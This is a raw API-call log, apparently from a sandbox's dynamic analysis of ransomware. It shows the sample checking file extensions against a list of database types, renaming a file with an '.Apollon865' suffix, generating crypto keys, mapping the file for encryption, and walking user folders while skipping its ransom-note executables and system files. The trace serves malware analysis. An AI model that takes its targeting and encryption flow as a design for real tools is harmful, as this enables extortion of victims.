	[0036.691] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.691] lstrlenW (lpString="fmpsl") returned 5
	[0036.691] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.691] lstrlenW (lpString="fol") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.691] lstrlenW (lpString="fp3") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.691] lstrlenW (lpString="fp4") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.691] lstrlenW (lpString="fp5") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.691] lstrlenW (lpString="fp7") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.691] lstrlenW (lpString="fpt") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.691] lstrlenW (lpString="frm") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.691] lstrlenW (lpString="gdb") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.692] lstrlenW (lpString="gdb") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.692] lstrlenW (lpString="grdb") returned 4
	[0036.692] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.692] lstrlenW (lpString="gwi") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.692] lstrlenW (lpString="hdb") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.692] lstrlenW (lpString="his") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.692] lstrlenW (lpString="ib") returned 2
	[0036.692] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.692] lstrlenW (lpString="idb") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.692] lstrlenW (lpString="ihx") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.692] lstrlenW (lpString="itdb") returned 4
	[0036.692] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.692] lstrlenW (lpString="itw") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.692] lstrlenW (lpString="jet") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.692] lstrlenW (lpString="jtx") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.692] lstrlenW (lpString="kdb") returned 3
	[0036.692] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.692] lstrlenW (lpString="kexi") returned 4
	[0036.692] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.692] lstrlenW (lpString="kexic") returned 5
	[0036.692] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.692] lstrlenW (lpString="kexis") returned 5
	[0036.692] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.692] lstrlenW (lpString="lgc") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.693] lstrlenW (lpString="lwx") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.693] lstrlenW (lpString="maf") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.693] lstrlenW (lpString="maq") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.693] lstrlenW (lpString="mar") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.693] lstrlenW (lpString="marshal") returned 7
	[0036.693] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.693] lstrlenW (lpString="mas") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.693] lstrlenW (lpString="mav") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.693] lstrlenW (lpString="maw") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.693] lstrlenW (lpString="mdbhtml") returned 7
	[0036.693] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.693] lstrlenW (lpString="mdn") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.693] lstrlenW (lpString="mdt") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.693] lstrlenW (lpString="mfd") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.693] lstrlenW (lpString="mpd") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.693] lstrlenW (lpString="mrg") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.693] lstrlenW (lpString="mud") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.693] lstrlenW (lpString="mwb") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.693] lstrlenW (lpString="myd") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.693] lstrlenW (lpString="ndf") returned 3
	[0036.693] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.693] lstrlenW (lpString="nnt") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.694] lstrlenW (lpString="nrmlib") returned 6
	[0036.694] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.694] lstrlenW (lpString="ns2") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.694] lstrlenW (lpString="ns3") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.694] lstrlenW (lpString="ns4") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.694] lstrlenW (lpString="nsf") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.694] lstrlenW (lpString="nv") returned 2
	[0036.694] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.694] lstrlenW (lpString="nv2") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.694] lstrlenW (lpString="nwdb") returned 4
	[0036.694] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.694] lstrlenW (lpString="nyf") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.694] lstrlenW (lpString="odb") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.694] lstrlenW (lpString="odb") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.694] lstrlenW (lpString="oqy") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.694] lstrlenW (lpString="ora") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.694] lstrlenW (lpString="orx") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.694] lstrlenW (lpString="owc") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.694] lstrlenW (lpString="p96") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.694] lstrlenW (lpString="p97") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.694] lstrlenW (lpString="pan") returned 3
	[0036.694] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.694] lstrlenW (lpString="pdb") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.695] lstrlenW (lpString="pdm") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.695] lstrlenW (lpString="pnz") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.695] lstrlenW (lpString="qry") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.695] lstrlenW (lpString="qvd") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.695] lstrlenW (lpString="rbf") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.695] lstrlenW (lpString="rctd") returned 4
	[0036.695] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.695] lstrlenW (lpString="rod") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.695] lstrlenW (lpString="rodx") returned 4
	[0036.695] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.695] lstrlenW (lpString="rpd") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.695] lstrlenW (lpString="rsd") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.695] lstrlenW (lpString="sas7bdat") returned 8
	[0036.695] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.695] lstrlenW (lpString="sbf") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.695] lstrlenW (lpString="scx") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.695] lstrlenW (lpString="sdb") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.695] lstrlenW (lpString="sdc") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.695] lstrlenW (lpString="sdf") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.695] lstrlenW (lpString="sis") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.695] lstrlenW (lpString="spq") returned 3
	[0036.695] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.695] lstrlenW (lpString="te") returned 2
	[0036.696] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.696] lstrlenW (lpString="teacher") returned 7
	[0036.696] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.696] lstrlenW (lpString="tmd") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.696] lstrlenW (lpString="tps") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.696] lstrlenW (lpString="trc") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.696] lstrlenW (lpString="trc") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.696] lstrlenW (lpString="trm") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.696] lstrlenW (lpString="udb") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.696] lstrlenW (lpString="udl") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.696] lstrlenW (lpString="usr") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.696] lstrlenW (lpString="v12") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.696] lstrlenW (lpString="vis") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.696] lstrlenW (lpString="vpd") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.696] lstrlenW (lpString="vvv") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.696] lstrlenW (lpString="wdb") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.696] lstrlenW (lpString="wmdb") returned 4
	[0036.696] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.696] lstrlenW (lpString="wrk") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.696] lstrlenW (lpString="xdb") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.696] lstrlenW (lpString="xld") returned 3
	[0036.696] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.697] lstrlenW (lpString="xmlff") returned 5
	[0036.697] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.697] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\desktop.ini.Apollon865") returned 38
	[0036.697] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0036.700] CreateFileW (lpFileName="C:\\Users\\Public\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0036.700] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=174) returned 1
	[0036.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0036.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0036.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0036.700] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0036.727] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0036.727] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0036.727] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x11c
	[0036.728] MapViewOfFile (hFileMappingObject=0x11c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000
	[0036.728] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0036.729] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0036.729] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0036.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0036.729] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0036.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0036.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0036.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0036.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0036.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5a73b0
	[0036.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0036.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a73b0 | out: hHeap=0x580000) returned 1
	[0036.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0036.730] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0036.730] CloseHandle (hObject=0x11c) returned 1
	[0036.730] CloseHandle (hObject=0x118) returned 1
	[0036.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0036.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0036.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0036.732] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc2fa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0036.732] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0036.732] lstrlenW (lpString="Documents") returned 9
	[0036.732] lstrlenW (lpString="C:\\Users\\Public\\desktop.ini") returned 27
	[0036.732] lstrcpyW (in: lpString1=0x119e628, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0036.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0036.732] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca310
	[0036.732] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7bb0
	[0036.732] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0036.732] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0036.733] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0036.733] lstrlenW (lpString="Downloads") returned 9
	[0036.733] lstrlenW (lpString="C:\\Users\\Public\\Documents") returned 25
	[0036.733] lstrcpyW (in: lpString1=0x119e628, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0036.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0036.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca350
	[0036.733] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0036.733] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0036.733] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0036.733] lstrlenW (lpString="Favorites") returned 9
	[0036.733] lstrlenW (lpString="C:\\Users\\Public\\Downloads") returned 25
	[0036.733] lstrcpyW (in: lpString1=0x119e628, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0036.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0036.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca390
	[0036.734] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0036.734] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8c3ad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.734] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.734] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dbbd650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="Apollon865.txt.exe") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2=".") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="..") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="windows") returned -1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="bootmgr") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="temp") returned -1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="pagefile.sys") returned -1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="boot") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="ids.txt") returned 1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="ntuser.dat") returned -1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="perflogs") returned -1
	[0036.734] lstrcmpiW (lpString1="Libraries", lpString2="MSBuild") returned -1
	[0036.734] lstrlenW (lpString="Libraries") returned 9
	[0036.734] lstrlenW (lpString="C:\\Users\\Public\\Favorites") returned 25
	[0036.734] lstrcpyW (in: lpString1=0x119e628, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries"
	[0036.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0036.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca3d0
	[0036.734] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0036.734] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db4b230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0036.734] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0036.735] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0036.735] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0036.735] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0036.735] lstrlenW (lpString="Music") returned 5
	[0036.735] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25
	[0036.735] lstrcpyW (in: lpString1=0x119e628, lpString2="Music" | out: lpString1="Music") returned="Music"
